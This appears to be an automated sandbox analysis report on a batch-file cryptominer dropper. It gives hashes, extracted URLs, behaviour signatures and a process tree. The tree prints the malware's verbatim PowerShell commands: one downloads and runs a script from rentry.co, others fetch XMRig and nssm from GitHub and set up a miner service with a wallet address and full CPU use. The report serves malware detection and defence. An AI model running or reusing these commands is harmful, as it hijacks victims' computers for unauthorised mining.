Analysis
-
max time kernel
146s -
max time network
137s -
platform
windows10-2004_x64 -
resource
win10v2004-20240611-en -
resource tags
arch:x64arch:x86image:win10v2004-20240611-enlocale:en-usos:windows10-2004-x64system -
submitted
01-07-2024 03:52
Static task
static1
Behavioral task
behavioral1
Sample
102882465516.bat
Resource
win7-20240508-en
General
-
Target
102882465516.bat
-
Size
517B
-
MD5
ac9d73455d58bfa42f81e718b8c8d6b5
-
SHA1
60040fff333b7bc09b22e5c013f11b8a99555ed3
-
SHA256
4a084dd6b556a67848483a5763f8d3eebadc0527f804f102f7f944b23b31cb12
-
SHA512
ad24994554a8e6bb68f5ca80b1c53379f7a577964165f56d2f6bef14340fec3d0f17d14faa2db4651776a83bd5686f26ee59080ee2a16d0468b8d38504e460b2
Malware Config
Extracted
https://rentry.co/regele/raw
Extracted
https://raw.githubusercontent.com/MoneroOcean/xmrig_setup/master/xmrig.zip
Extracted
https://raw.githubusercontent.com/MoneroOcean/xmrig_setup/master/nssm.zip
Signatures
-
XMRig Miner payload 16 IoCs
Processes:
resource yara_rule C:\Users\Admin\moneroocean\xmrig.exe family_xmrig C:\Users\Admin\moneroocean\xmrig.exe xmrig behavioral2/memory/2060-69-0x0000000000400000-0x000000000102B000-memory.dmp xmrig behavioral2/memory/1920-214-0x0000000000400000-0x000000000102B000-memory.dmp xmrig behavioral2/memory/1920-215-0x0000000000400000-0x000000000102B000-memory.dmp xmrig behavioral2/memory/1920-216-0x0000000000400000-0x000000000102B000-memory.dmp xmrig behavioral2/memory/1920-217-0x0000000000400000-0x000000000102B000-memory.dmp xmrig behavioral2/memory/1920-218-0x0000000000400000-0x000000000102B000-memory.dmp xmrig behavioral2/memory/1920-219-0x0000000000400000-0x000000000102B000-memory.dmp xmrig behavioral2/memory/1920-220-0x0000000000400000-0x000000000102B000-memory.dmp xmrig behavioral2/memory/1920-221-0x0000000000400000-0x000000000102B000-memory.dmp xmrig behavioral2/memory/1920-222-0x0000000000400000-0x000000000102B000-memory.dmp xmrig behavioral2/memory/1920-223-0x0000000000400000-0x000000000102B000-memory.dmp xmrig behavioral2/memory/1920-224-0x0000000000400000-0x000000000102B000-memory.dmp xmrig behavioral2/memory/1920-225-0x0000000000400000-0x000000000102B000-memory.dmp xmrig behavioral2/memory/1920-226-0x0000000000400000-0x000000000102B000-memory.dmp xmrig -
Blocklisted process makes network request 3 IoCs
Processes:
powershell.exepowershell.exepowershell.exeflow pid process 7 3104 powershell.exe 20 4440 powershell.exe 32 4600 powershell.exe -
Executes dropped EXE 9 IoCs
Processes:
xmrig.exenssm.exenssm.exenssm.exenssm.exenssm.exenssm.exenssm.exexmrig.exepid process 2060 xmrig.exe 1716 nssm.exe 1844 nssm.exe 3612 nssm.exe 2172 nssm.exe 2116 nssm.exe 364 nssm.exe 1520 nssm.exe 1920 xmrig.exe -
Legitimate hosting services abused for malware hosting/C2 1 TTPs 3 IoCs
Processes:
flow ioc 19 raw.githubusercontent.com 20 raw.githubusercontent.com 32 raw.githubusercontent.com -
Launches sc.exe 4 IoCs
Sc.exe is a Windows utlilty to control services on the system.
Processes:
sc.exesc.exesc.exesc.exepid process 2156 sc.exe 4804 sc.exe 1568 sc.exe 3276 sc.exe -
Processes:
powershell.exepowershell.exepowershell.exepowershell.exepowershell.exepowershell.exepowershell.exepowershell.exepowershell.exepowershell.exepowershell.exepowershell.exepowershell.exepid process 4848 powershell.exe 4448 powershell.exe 4616 powershell.exe 4364 powershell.exe 3780 powershell.exe 4600 powershell.exe 3104 powershell.exe 4440 powershell.exe 3480 powershell.exe 3808 powershell.exe 956 powershell.exe 920 powershell.exe 3200 powershell.exe -
Delays execution with timeout.exe 64 IoCs
Processes:
timeout.exetimeout.exetimeout.exetimeout.exetimeout.exetimeout.exetimeout.exetimeout.exetimeout.exetimeout.exetimeout.exetimeout.exetimeout.exetimeout.exetimeout.exetimeout.exetimeout.exetimeout.exetimeout.exetimeout.exetimeout.exetimeout.exetimeout.exetimeout.exetimeout.exetimeout.exetimeout.exetimeout.exetimeout.exetimeout.exetimeout.exetimeout.exetimeout.exetimeout.exetimeout.exetimeout.exetimeout.exetimeout.exetimeout.exetimeout.exetimeout.exetimeout.exetimeout.exetimeout.exetimeout.exetimeout.exetimeout.exetimeout.exetimeout.exetimeout.exetimeout.exetimeout.exetimeout.exetimeout.exetimeout.exetimeout.exetimeout.exetimeout.exetimeout.exetimeout.exetimeout.exetimeout.exetimeout.exetimeout.exepid process 1484 timeout.exe 2732 timeout.exe 3408 timeout.exe 1900 timeout.exe 4476 timeout.exe 3984 timeout.exe 4520 timeout.exe 664 timeout.exe 2240 timeout.exe 208 timeout.exe 3976 timeout.exe 4048 timeout.exe 1088 timeout.exe 3952 timeout.exe 3952 timeout.exe 4904 timeout.exe 4092 timeout.exe 3388 timeout.exe 1580 timeout.exe 5028 timeout.exe 1892 timeout.exe 1568 timeout.exe 2436 timeout.exe 2504 timeout.exe 4372 timeout.exe 444 timeout.exe 1352 timeout.exe 3532 timeout.exe 2348 timeout.exe 1688 timeout.exe 3712 timeout.exe 3144 timeout.exe 3600 timeout.exe 4472 timeout.exe 2456 timeout.exe 884 timeout.exe 3104 timeout.exe 3092 timeout.exe 4716 timeout.exe 628 timeout.exe 1100 timeout.exe 764 timeout.exe 3088 timeout.exe 2764 timeout.exe 3108 timeout.exe 4616 timeout.exe 4612 timeout.exe 3652 timeout.exe 3564 timeout.exe 1848 timeout.exe 2828 timeout.exe 3144 timeout.exe 1744 timeout.exe 4216 timeout.exe 3780 timeout.exe 3492 timeout.exe 2828 timeout.exe 2764 timeout.exe 2012 timeout.exe 4836 timeout.exe 1468 timeout.exe 4348 timeout.exe 2116 timeout.exe 2960 timeout.exe -
Kills process with taskkill 1 IoCs
Processes:
taskkill.exepid process 4896 taskkill.exe -
Runs net.exe
-
Suspicious behavior: EnumeratesProcesses 35 IoCs
Processes:
powershell.exepowershell.exepowershell.exepowershell.exepowershell.exepowershell.exepowershell.exepowershell.exepowershell.exepowershell.exepowershell.exepowershell.exepowershell.exepid process 3104 powershell.exe 3104 powershell.exe 4440 powershell.exe 4440 powershell.exe 3480 powershell.exe 3480 powershell.exe 4848 powershell.exe 4848 powershell.exe 956 powershell.exe 956 powershell.exe 956 powershell.exe 4364 powershell.exe 4364 powershell.exe 4364 powershell.exe 3780 powershell.exe 3780 powershell.exe 3780 powershell.exe 920 powershell.exe 920 powershell.exe 920 powershell.exe 3200 powershell.exe 3200 powershell.exe 3200 powershell.exe 4448 powershell.exe 4448 powershell.exe 4448 powershell.exe 4616 powershell.exe 4616 powershell.exe 4616 powershell.exe 4600 powershell.exe 4600 powershell.exe 4600 powershell.exe 3808 powershell.exe 3808 powershell.exe 3808 powershell.exe -
Suspicious use of AdjustPrivilegeToken 64 IoCs
Processes:
powershell.exetaskkill.exepowershell.exepowershell.exepowershell.exepowershell.exepowershell.exepowershell.exepowershell.exepowershell.exepowershell.exepowershell.exepowershell.exepowershell.exexmrig.exeWMIC.exeWMIC.exedescription pid process Token: SeDebugPrivilege 3104 powershell.exe Token: SeDebugPrivilege 4896 taskkill.exe Token: SeDebugPrivilege 4440 powershell.exe Token: SeDebugPrivilege 3480 powershell.exe Token: SeDebugPrivilege 4848 powershell.exe Token: SeDebugPrivilege 956 powershell.exe Token: SeDebugPrivilege 4364 powershell.exe Token: SeDebugPrivilege 3780 powershell.exe Token: SeDebugPrivilege 920 powershell.exe Token: SeDebugPrivilege 3200 powershell.exe Token: SeDebugPrivilege 4448 powershell.exe Token: SeDebugPrivilege 4616 powershell.exe Token: SeDebugPrivilege 4600 powershell.exe Token: SeDebugPrivilege 3808 powershell.exe Token: SeLockMemoryPrivilege 1920 xmrig.exe Token: SeIncreaseQuotaPrivilege 4232 WMIC.exe Token: SeSecurityPrivilege 4232 WMIC.exe Token: SeTakeOwnershipPrivilege 4232 WMIC.exe Token: SeLoadDriverPrivilege 4232 WMIC.exe Token: SeSystemProfilePrivilege 4232 WMIC.exe Token: SeSystemtimePrivilege 4232 WMIC.exe Token: SeProfSingleProcessPrivilege 4232 WMIC.exe Token: SeIncBasePriorityPrivilege 4232 WMIC.exe Token: SeCreatePagefilePrivilege 4232 WMIC.exe Token: SeBackupPrivilege 4232 WMIC.exe Token: SeRestorePrivilege 4232 WMIC.exe Token: SeShutdownPrivilege 4232 WMIC.exe Token: SeDebugPrivilege 4232 WMIC.exe Token: SeSystemEnvironmentPrivilege 4232 WMIC.exe Token: SeRemoteShutdownPrivilege 4232 WMIC.exe Token: SeUndockPrivilege 4232 WMIC.exe Token: SeManageVolumePrivilege 4232 WMIC.exe Token: 33 4232 WMIC.exe Token: 34 4232 WMIC.exe Token: 35 4232 WMIC.exe Token: 36 4232 WMIC.exe Token: SeIncreaseQuotaPrivilege 4232 WMIC.exe Token: SeSecurityPrivilege 4232 WMIC.exe Token: SeTakeOwnershipPrivilege 4232 WMIC.exe Token: SeLoadDriverPrivilege 4232 WMIC.exe Token: SeSystemProfilePrivilege 4232 WMIC.exe Token: SeSystemtimePrivilege 4232 WMIC.exe Token: SeProfSingleProcessPrivilege 4232 WMIC.exe Token: SeIncBasePriorityPrivilege 4232 WMIC.exe Token: SeCreatePagefilePrivilege 4232 WMIC.exe Token: SeBackupPrivilege 4232 WMIC.exe Token: SeRestorePrivilege 4232 WMIC.exe Token: SeShutdownPrivilege 4232 WMIC.exe Token: SeDebugPrivilege 4232 WMIC.exe Token: SeSystemEnvironmentPrivilege 4232 WMIC.exe Token: SeRemoteShutdownPrivilege 4232 WMIC.exe Token: SeUndockPrivilege 4232 WMIC.exe Token: SeManageVolumePrivilege 4232 WMIC.exe Token: 33 4232 WMIC.exe Token: 34 4232 WMIC.exe Token: 35 4232 WMIC.exe Token: 36 4232 WMIC.exe Token: SeIncreaseQuotaPrivilege 776 WMIC.exe Token: SeSecurityPrivilege 776 WMIC.exe Token: SeTakeOwnershipPrivilege 776 WMIC.exe Token: SeLoadDriverPrivilege 776 WMIC.exe Token: SeSystemProfilePrivilege 776 WMIC.exe Token: SeSystemtimePrivilege 776 WMIC.exe Token: SeProfSingleProcessPrivilege 776 WMIC.exe -
Suspicious use of FindShellTrayWindow 1 IoCs
Processes:
xmrig.exepid process 1920 xmrig.exe -
Suspicious use of WriteProcessMemory 64 IoCs
Processes:
cmd.exepowershell.execmd.exenet.execmd.exepowershell.exedescription pid process target process PID 768 wrote to memory of 3104 768 cmd.exe powershell.exe PID 768 wrote to memory of 3104 768 cmd.exe powershell.exe PID 3104 wrote to memory of 2732 3104 powershell.exe cmd.exe PID 3104 wrote to memory of 2732 3104 powershell.exe cmd.exe PID 2732 wrote to memory of 2744 2732 cmd.exe net.exe PID 2732 wrote to memory of 2744 2732 cmd.exe net.exe PID 2744 wrote to memory of 1992 2744 net.exe net1.exe PID 2744 wrote to memory of 1992 2744 net.exe net1.exe PID 2732 wrote to memory of 3808 2732 cmd.exe powershell.exe PID 2732 wrote to memory of 3808 2732 cmd.exe powershell.exe PID 2732 wrote to memory of 3952 2732 cmd.exe where.exe PID 2732 wrote to memory of 3952 2732 cmd.exe where.exe PID 2732 wrote to memory of 4156 2732 cmd.exe where.exe PID 2732 wrote to memory of 4156 2732 cmd.exe where.exe PID 2732 wrote to memory of 5028 2732 cmd.exe where.exe PID 2732 wrote to memory of 5028 2732 cmd.exe where.exe PID 2732 wrote to memory of 2156 2732 cmd.exe sc.exe PID 2732 wrote to memory of 2156 2732 cmd.exe sc.exe PID 2732 wrote to memory of 4804 2732 cmd.exe sc.exe PID 2732 wrote to memory of 4804 2732 cmd.exe sc.exe PID 2732 wrote to memory of 1568 2732 cmd.exe sc.exe PID 2732 wrote to memory of 1568 2732 cmd.exe sc.exe PID 2732 wrote to memory of 4896 2732 cmd.exe taskkill.exe PID 2732 wrote to memory of 4896 2732 cmd.exe taskkill.exe PID 2732 wrote to memory of 4440 2732 cmd.exe powershell.exe PID 2732 wrote to memory of 4440 2732 cmd.exe powershell.exe PID 2732 wrote to memory of 3480 2732 cmd.exe powershell.exe PID 2732 wrote to memory of 3480 2732 cmd.exe powershell.exe PID 2732 wrote to memory of 4848 2732 cmd.exe powershell.exe PID 2732 wrote to memory of 4848 2732 cmd.exe powershell.exe PID 2732 wrote to memory of 2060 2732 cmd.exe xmrig.exe PID 2732 wrote to memory of 2060 2732 cmd.exe xmrig.exe PID 2732 wrote to memory of 1160 2732 cmd.exe cmd.exe PID 2732 wrote to memory of 1160 2732 cmd.exe cmd.exe PID 1160 wrote to memory of 956 1160 cmd.exe powershell.exe PID 1160 wrote to memory of 956 1160 cmd.exe powershell.exe PID 956 wrote to memory of 3652 956 powershell.exe HOSTNAME.EXE PID 956 wrote to memory of 3652 956 powershell.exe HOSTNAME.EXE PID 2732 wrote to memory of 4364 2732 cmd.exe cmd.exe PID 2732 wrote to memory of 4364 2732 cmd.exe cmd.exe PID 2732 wrote to memory of 3780 2732 cmd.exe timeout.exe PID 2732 wrote to memory of 3780 2732 cmd.exe timeout.exe PID 2732 wrote to memory of 920 2732 cmd.exe powershell.exe PID 2732 wrote to memory of 920 2732 cmd.exe powershell.exe PID 2732 wrote to memory of 3200 2732 cmd.exe powershell.exe PID 2732 wrote to memory of 3200 2732 cmd.exe powershell.exe PID 2732 wrote to memory of 4448 2732 cmd.exe powershell.exe PID 2732 wrote to memory of 4448 2732 cmd.exe powershell.exe PID 2732 wrote to memory of 4616 2732 cmd.exe powershell.exe PID 2732 wrote to memory of 4616 2732 cmd.exe powershell.exe PID 2732 wrote to memory of 4600 2732 cmd.exe powershell.exe PID 2732 wrote to memory of 4600 2732 cmd.exe powershell.exe PID 2732 wrote to memory of 3808 2732 cmd.exe powershell.exe PID 2732 wrote to memory of 3808 2732 cmd.exe powershell.exe PID 2732 wrote to memory of 3276 2732 cmd.exe sc.exe PID 2732 wrote to memory of 3276 2732 cmd.exe sc.exe PID 2732 wrote to memory of 2156 2732 cmd.exe sc.exe PID 2732 wrote to memory of 2156 2732 cmd.exe sc.exe PID 2732 wrote to memory of 1716 2732 cmd.exe nssm.exe PID 2732 wrote to memory of 1716 2732 cmd.exe nssm.exe PID 2732 wrote to memory of 1844 2732 cmd.exe nssm.exe PID 2732 wrote to memory of 1844 2732 cmd.exe nssm.exe PID 2732 wrote to memory of 3612 2732 cmd.exe nssm.exe PID 2732 wrote to memory of 3612 2732 cmd.exe nssm.exe
Processes
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\102882465516.bat"1⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -Command "$wc = New-Object System.Net.WebClient; $tempfile = [System.IO.Path]::GetTempFileName(); $tempfile += '.bat'; $wc.DownloadFile('https://rentry.co/regele/raw', $tempfile); & $tempfile 42cRnHwcKM6bmza8jmWyvWB2tjAcxQGmJ1QHhJ9ae55qRx488q6cvAU42EKkEiEd2N9TE1UjNViUSNVqV1NJ17R79fDhjVL; Remove-Item -Force $tempfile"2⤵
- Blocklisted process makes network request
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\tmp4882.tmp.bat" 42cRnHwcKM6bmza8jmWyvWB2tjAcxQGmJ1QHhJ9ae55qRx488q6cvAU42EKkEiEd2N9TE1UjNViUSNVqV1NJ17R79fDhjVL"3⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\net.exenet session4⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 session5⤵
-
C:\Windows\system32\where.exewhere powershell4⤵
-
C:\Windows\system32\where.exewhere find4⤵
-
C:\Windows\system32\where.exewhere findstr4⤵
-
C:\Windows\system32\where.exewhere tasklist4⤵
-
C:\Windows\system32\where.exewhere sc4⤵
-
C:\Windows\system32\sc.exesc stop moneroocean_miner4⤵
- Launches sc.exe
-
C:\Windows\system32\sc.exesc delete moneroocean_miner4⤵
- Launches sc.exe
-
C:\Windows\system32\taskkill.exetaskkill /f /t /im xmrig.exe4⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -Command "$wc = New-Object System.Net.WebClient; $wc.DownloadFile('https://raw.githubusercontent.com/MoneroOcean/xmrig_setup/master/xmrig.zip', 'C:\Users\Admin\xmrig.zip')"4⤵
- Blocklisted process makes network request
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -Command "Add-Type -AssemblyName System.IO.Compression.FileSystem; [System.IO.Compression.ZipFile]::ExtractToDirectory('C:\Users\Admin\xmrig.zip', 'C:\Users\Admin\moneroocean')"4⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -Command "$out = cat 'C:\Users\Admin\moneroocean\config.json' | %{$_ -replace '\"donate-level\": *\d*,', '\"donate-level\": 1,'} | Out-String; $out | Out-File -Encoding ASCII 'C:\Users\Admin\moneroocean\config.json'"4⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
C:\Users\Admin\moneroocean\xmrig.exe"C:\Users\Admin\moneroocean\xmrig.exe" --help4⤵
- Executes dropped EXE
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c powershell -Command "hostname | %{$_ -replace '[^a-zA-Z0-9]+', '_'}"4⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -Command "hostname | %{$_ -replace '[^a-zA-Z0-9]+', '_'}"5⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\HOSTNAME.EXE"C:\Windows\system32\HOSTNAME.EXE"6⤵
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -Command "$out = cat 'C:\Users\Admin\moneroocean\config.json' | %{$_ -replace '\"url\": *\".*\",', '\"url\": \"gulf.moneroocean.stream:10001\",'} | Out-String; $out | Out-File -Encoding ASCII 'C:\Users\Admin\moneroocean\config.json'"4⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -Command "$out = cat 'C:\Users\Admin\moneroocean\config.json' | %{$_ -replace '\"user\": *\".*\",', '\"user\": \"42cRnHwcKM6bmza8jmWyvWB2tjAcxQGmJ1QHhJ9ae55qRx488q6cvAU42EKkEiEd2N9TE1UjNViUSNVqV1NJ17R79fDhjVL\",'} | Out-String; $out | Out-File -Encoding ASCII 'C:\Users\Admin\moneroocean\config.json'"4⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -Command "$out = cat 'C:\Users\Admin\moneroocean\config.json' | %{$_ -replace '\"pass\": *\".*\",', '\"pass\": \"Pkvhmxki\",'} | Out-String; $out | Out-File -Encoding ASCII 'C:\Users\Admin\moneroocean\config.json'"4⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -Command "$out = cat 'C:\Users\Admin\moneroocean\config.json' | %{$_ -replace '\"max-cpu-usage\": *\d*,', '\"max-cpu-usage\": 100,'} | Out-String; $out | Out-File -Encoding ASCII 'C:\Users\Admin\moneroocean\config.json'"4⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -Command "$out = cat 'C:\Users\Admin\moneroocean\config.json' | %{$_ -replace '\"log-file\": *null,', '\"log-file\": \"C:\\Users\\Admin\\moneroocean\\xmrig.log\",'} | Out-String; $out | Out-File -Encoding ASCII 'C:\Users\Admin\moneroocean\config.json'"4⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -Command "$out = cat 'C:\Users\Admin\moneroocean\config_background.json' | %{$_ -replace '\"background\": *false,', '\"background\": true,'} | Out-String; $out | Out-File -Encoding ASCII 'C:\Users\Admin\moneroocean\config_background.json'"4⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -Command "$wc = New-Object System.Net.WebClient; $wc.DownloadFile('https://raw.githubusercontent.com/MoneroOcean/xmrig_setup/master/nssm.zip', 'C:\Users\Admin\nssm.zip')"4⤵
- Blocklisted process makes network request
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -Command "Add-Type -AssemblyName System.IO.Compression.FileSystem; [System.IO.Compression.ZipFile]::ExtractToDirectory('C:\Users\Admin\nssm.zip', 'C:\Users\Admin\moneroocean')"4⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\system32\sc.exesc stop moneroocean_miner4⤵
- Launches sc.exe
-
C:\Windows\system32\sc.exesc delete moneroocean_miner4⤵
- Launches sc.exe
-
C:\Users\Admin\moneroocean\nssm.exe"C:\Users\Admin\moneroocean\nssm.exe" install moneroocean_miner "C:\Users\Admin\moneroocean\xmrig.exe"4⤵
- Executes dropped EXE
-
C:\Users\Admin\moneroocean\nssm.exe"C:\Users\Admin\moneroocean\nssm.exe" set moneroocean_miner AppDirectory "C:\Users\Admin\moneroocean"4⤵
- Executes dropped EXE
-
C:\Users\Admin\moneroocean\nssm.exe"C:\Users\Admin\moneroocean\nssm.exe" set moneroocean_miner AppPriority BELOW_NORMAL_PRIORITY_CLASS4⤵
- Executes dropped EXE
-
C:\Users\Admin\moneroocean\nssm.exe"C:\Users\Admin\moneroocean\nssm.exe" set moneroocean_miner AppStdout "C:\Users\Admin\moneroocean\stdout"4⤵
- Executes dropped EXE
-
C:\Users\Admin\moneroocean\nssm.exe"C:\Users\Admin\moneroocean\nssm.exe" set moneroocean_miner AppStderr "C:\Users\Admin\moneroocean\stderr"4⤵
- Executes dropped EXE
-
C:\Users\Admin\moneroocean\nssm.exe"C:\Users\Admin\moneroocean\nssm.exe" start moneroocean_miner4⤵
- Executes dropped EXE
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\system32\timeout.exetimeout /t 12⤵
- Delays execution with timeout.exe
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\system32\timeout.exetimeout /t 12⤵
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵
-
C:\Windows\system32\timeout.exetimeout /t 12⤵
- Delays execution with timeout.exe
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵
-
C:\Windows\system32\timeout.exetimeout /t 12⤵
- Delays execution with timeout.exe
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵
-
C:\Windows\system32\timeout.exetimeout /t 12⤵
- Delays execution with timeout.exe
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵
-
C:\Windows\system32\timeout.exetimeout /t 12⤵
- Delays execution with timeout.exe
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵
-
C:\Windows\system32\timeout.exetimeout /t 12⤵
- Delays execution with timeout.exe
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵
-
C:\Windows\system32\timeout.exetimeout /t 12⤵
- Delays execution with timeout.exe
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵
-
C:\Windows\system32\timeout.exetimeout /t 12⤵
- Delays execution with timeout.exe
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵
-
C:\Windows\system32\timeout.exetimeout /t 12⤵
- Delays execution with timeout.exe
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵
-
C:\Windows\system32\timeout.exetimeout /t 12⤵
- Delays execution with timeout.exe
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵
-
C:\Windows\system32\timeout.exetimeout /t 12⤵
- Delays execution with timeout.exe
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵
-
C:\Windows\system32\timeout.exetimeout /t 12⤵
- Delays execution with timeout.exe
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵
-
C:\Windows\system32\timeout.exetimeout /t 12⤵
- Delays execution with timeout.exe
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵
-
C:\Windows\system32\timeout.exetimeout /t 12⤵
- Delays execution with timeout.exe
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵
-
C:\Windows\system32\timeout.exetimeout /t 12⤵
- Delays execution with timeout.exe
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵
-
C:\Windows\system32\timeout.exetimeout /t 12⤵
- Delays execution with timeout.exe
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵
-
C:\Windows\system32\timeout.exetimeout /t 12⤵
- Delays execution with timeout.exe
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵
-
C:\Windows\system32\timeout.exetimeout /t 12⤵
- Delays execution with timeout.exe
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵
-
C:\Windows\system32\timeout.exetimeout /t 12⤵
- Delays execution with timeout.exe
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵
-
C:\Windows\system32\timeout.exetimeout /t 12⤵
- Delays execution with timeout.exe
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵
-
C:\Windows\system32\timeout.exetimeout /t 12⤵
- Delays execution with timeout.exe
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵
-
C:\Windows\system32\timeout.exetimeout /t 12⤵
- Delays execution with timeout.exe
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵
-
